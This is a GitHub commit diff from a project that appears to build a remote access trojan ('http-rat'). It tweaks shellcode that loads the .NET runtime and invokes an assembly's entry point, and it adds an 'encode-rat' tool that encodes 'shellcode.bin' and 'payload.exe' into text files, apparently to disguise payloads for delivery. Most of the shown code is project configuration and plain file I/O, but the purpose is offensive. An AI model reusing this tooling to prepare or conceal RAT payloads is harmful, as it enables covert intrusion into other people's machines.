Skip to content

Commit 2adabdd

Browse files
committed
update
1 parent 8e67ee1 commit 2adabdd

25 files changed

+20928
-5
lines changed

ShellcodeStdio/ScStdio.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -239,7 +239,7 @@ namespace ScStdio {
239239
obj.vt = VT_NULL;
240240

241241
//TODO! Change cElement to the number of Main arguments
242-
SAFEARRAY *psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
242+
SAFEARRAY *psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
243243

244244
/* EntryPoint.Invoke(null, new object[0]) */
245245
hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);

ShellcodeStdio/ScStdio.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@
77
#include <metahost.h>
88
#pragma comment(lib, "mscoree.lib")
99

10-
#import "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorlib.tlb" raw_interfaces_only \
10+
#import "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.tlb" raw_interfaces_only \
1111
high_property_prefixes("_get","_put","_putref") \
1212
rename("ReportEvent", "InteropServices_ReportEvent")
1313
using namespace mscorlib;

ShellcodeStdio/ShellcodeStdio.vcxproj

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@
2828
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
2929
<ConfigurationType>Application</ConfigurationType>
3030
<UseDebugLibraries>true</UseDebugLibraries>
31-
<PlatformToolset>v142</PlatformToolset>
31+
<PlatformToolset>v143</PlatformToolset>
3232
<CharacterSet>MultiByte</CharacterSet>
3333
</PropertyGroup>
3434
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
@@ -41,13 +41,13 @@
4141
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
4242
<ConfigurationType>Application</ConfigurationType>
4343
<UseDebugLibraries>true</UseDebugLibraries>
44-
<PlatformToolset>v142</PlatformToolset>
44+
<PlatformToolset>v143</PlatformToolset>
4545
<CharacterSet>MultiByte</CharacterSet>
4646
</PropertyGroup>
4747
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
4848
<ConfigurationType>Application</ConfigurationType>
4949
<UseDebugLibraries>false</UseDebugLibraries>
50-
<PlatformToolset>v142</PlatformToolset>
50+
<PlatformToolset>v143</PlatformToolset>
5151
<WholeProgramOptimization>true</WholeProgramOptimization>
5252
<CharacterSet>MultiByte</CharacterSet>
5353
</PropertyGroup>
@@ -71,6 +71,7 @@
7171
<PropertyGroup Label="UserMacros" />
7272
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
7373
<LinkIncremental>false</LinkIncremental>
74+
<OutDir>$(SolutionDir)bin\$(Configuration)\</OutDir>
7475
</PropertyGroup>
7576
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
7677
<LinkIncremental>false</LinkIncremental>

encode-rat/encode-rat.cpp

Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
// encode-rat.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
2+
//
3+
4+
#include <iostream>
5+
#include <fstream>
6+
7+
#include "../http-rat/xvary.hpp"
8+
9+
std::string read_file(std::string filename)
10+
{
11+
std::string ret;
12+
char* buffer = nullptr;
13+
std::fstream file;
14+
15+
do
16+
{
17+
file.open(filename.c_str(), std::ios::in | std::ios::binary);
18+
if (!file)
19+
{
20+
break;
21+
}
22+
23+
// set flag for filesize
24+
file.seekg(0, file.end);
25+
int size = static_cast<int>(file.tellg());
26+
if (size <= 0)
27+
{
28+
break;
29+
}
30+
31+
// reset flag to file begin
32+
file.seekg(0, std::ios::beg);
33+
34+
buffer = new char[size] {0};
35+
if (!buffer)
36+
{
37+
break;
38+
}
39+
40+
file.read(buffer, size);
41+
42+
ret.append(buffer, size);
43+
} while (false);
44+
45+
if (buffer)
46+
{
47+
delete[]buffer;
48+
buffer = nullptr;
49+
}
50+
51+
if (file)
52+
{
53+
file.close();
54+
}
55+
56+
return ret;
57+
}
58+
59+
bool write_file(std::string filename, std::string content)
60+
{
61+
std::fstream file(filename.c_str(), std::ios::out);
62+
if (!file)
63+
{
64+
return false;
65+
}
66+
67+
file << content;
68+
file.close();
69+
70+
return true;
71+
}
72+
73+
/// <summary>
74+
/// xcrypt!!!
75+
/// </summary>
76+
/// <param name="oldfile"></param>
77+
/// <param name="newfile"></param>
78+
/// <returns></returns>
79+
bool encode_save(std::string oldfile, std::string newfile)
80+
{
81+
std::string buffer = read_file(oldfile);
82+
if (buffer.empty() || buffer.size() <= 0)
83+
{
84+
return false;
85+
}
86+
87+
//
88+
// 加密算法部分!!!
89+
//
90+
91+
std::string content = xvary::encode(buffer);
92+
if (content.empty())
93+
{
94+
return false;
95+
}
96+
97+
//
98+
//
99+
// encode finish
100+
if (!write_file(newfile, content))
101+
{
102+
return false;
103+
}
104+
105+
return true;
106+
}
107+
108+
int main()
109+
{
110+
bool ret = false;
111+
112+
ret = encode_save("shellcode.bin", "shellcode.bin.txt");
113+
if (!ret)
114+
{
115+
return EXIT_FAILURE;
116+
}
117+
118+
ret = encode_save("payload.exe", "payload.exe.txt");
119+
if (!ret)
120+
{
121+
return EXIT_FAILURE;
122+
}
123+
124+
std::cout << "encode success" << std::endl;
125+
system("pause");
126+
return EXIT_SUCCESS;
127+
}

encode-rat/encode-rat.vcxproj

Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<VCProjectVersion>16.0</VCProjectVersion>
23+
<Keyword>Win32Proj</Keyword>
24+
<ProjectGuid>{dac27b4a-ec59-4d53-aea9-479907b0fab1}</ProjectGuid>
25+
<RootNamespace>encoderat</RootNamespace>
26+
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
27+
</PropertyGroup>
28+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
29+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
30+
<ConfigurationType>Application</ConfigurationType>
31+
<UseDebugLibraries>true</UseDebugLibraries>
32+
<PlatformToolset>v142</PlatformToolset>
33+
<CharacterSet>Unicode</CharacterSet>
34+
</PropertyGroup>
35+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
36+
<ConfigurationType>Application</ConfigurationType>
37+
<UseDebugLibraries>false</UseDebugLibraries>
38+
<PlatformToolset>v142</PlatformToolset>
39+
<WholeProgramOptimization>true</WholeProgramOptimization>
40+
<CharacterSet>Unicode</CharacterSet>
41+
</PropertyGroup>
42+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
43+
<ConfigurationType>Application</ConfigurationType>
44+
<UseDebugLibraries>true</UseDebugLibraries>
45+
<PlatformToolset>v143</PlatformToolset>
46+
<CharacterSet>Unicode</CharacterSet>
47+
</PropertyGroup>
48+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
49+
<ConfigurationType>Application</ConfigurationType>
50+
<UseDebugLibraries>false</UseDebugLibraries>
51+
<PlatformToolset>v143</PlatformToolset>
52+
<WholeProgramOptimization>true</WholeProgramOptimization>
53+
<CharacterSet>Unicode</CharacterSet>
54+
</PropertyGroup>
55+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
56+
<ImportGroup Label="ExtensionSettings">
57+
</ImportGroup>
58+
<ImportGroup Label="Shared">
59+
</ImportGroup>
60+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
61+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
62+
</ImportGroup>
63+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
64+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
65+
</ImportGroup>
66+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
67+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
68+
</ImportGroup>
69+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
70+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
71+
</ImportGroup>
72+
<PropertyGroup Label="UserMacros" />
73+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
74+
<OutDir>$(SolutionDir)bin\$(Configuration)\</OutDir>
75+
</PropertyGroup>
76+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
77+
<ClCompile>
78+
<WarningLevel>Level3</WarningLevel>
79+
<SDLCheck>true</SDLCheck>
80+
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
81+
<ConformanceMode>true</ConformanceMode>
82+
<LanguageStandard>stdcpp17</LanguageStandard>
83+
</ClCompile>
84+
<Link>
85+
<SubSystem>Console</SubSystem>
86+
<GenerateDebugInformation>true</GenerateDebugInformation>
87+
</Link>
88+
</ItemDefinitionGroup>
89+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
90+
<ClCompile>
91+
<WarningLevel>Level3</WarningLevel>
92+
<FunctionLevelLinking>true</FunctionLevelLinking>
93+
<IntrinsicFunctions>true</IntrinsicFunctions>
94+
<SDLCheck>true</SDLCheck>
95+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
96+
<ConformanceMode>true</ConformanceMode>
97+
<LanguageStandard>stdcpp17</LanguageStandard>
98+
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
99+
</ClCompile>
100+
<Link>
101+
<SubSystem>Console</SubSystem>
102+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
103+
<OptimizeReferences>true</OptimizeReferences>
104+
<GenerateDebugInformation>true</GenerateDebugInformation>
105+
</Link>
106+
</ItemDefinitionGroup>
107+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
108+
<ClCompile>
109+
<WarningLevel>Level3</WarningLevel>
110+
<SDLCheck>true</SDLCheck>
111+
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
112+
<ConformanceMode>true</ConformanceMode>
113+
</ClCompile>
114+
<Link>
115+
<SubSystem>Console</SubSystem>
116+
<GenerateDebugInformation>true</GenerateDebugInformation>
117+
</Link>
118+
</ItemDefinitionGroup>
119+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
120+
<ClCompile>
121+
<WarningLevel>Level3</WarningLevel>
122+
<FunctionLevelLinking>true</FunctionLevelLinking>
123+
<IntrinsicFunctions>true</IntrinsicFunctions>
124+
<SDLCheck>true</SDLCheck>
125+
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
126+
<ConformanceMode>true</ConformanceMode>
127+
</ClCompile>
128+
<Link>
129+
<SubSystem>Console</SubSystem>
130+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
131+
<OptimizeReferences>true</OptimizeReferences>
132+
<GenerateDebugInformation>true</GenerateDebugInformation>
133+
</Link>
134+
</ItemDefinitionGroup>
135+
<ItemGroup>
136+
<ClCompile Include="encode-rat.cpp" />
137+
</ItemGroup>
138+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
139+
<ImportGroup Label="ExtensionTargets">
140+
</ImportGroup>
141+
</Project>

encode-rat/encode-rat.vcxproj.filters

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup>
4+
<Filter Include="源文件">
5+
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
6+
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
7+
</Filter>
8+
<Filter Include="头文件">
9+
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
10+
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
11+
</Filter>
12+
<Filter Include="资源文件">
13+
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
14+
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
15+
</Filter>
16+
</ItemGroup>
17+
<ItemGroup>
18+
<ClCompile Include="encode-rat.cpp">
19+
<Filter>源文件</Filter>
20+
</ClCompile>
21+
</ItemGroup>
22+
</Project>

encode-rat/encode-rat.vcxproj.user

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<PropertyGroup />
4+
</Project>

0 commit comments

Comments
 (0)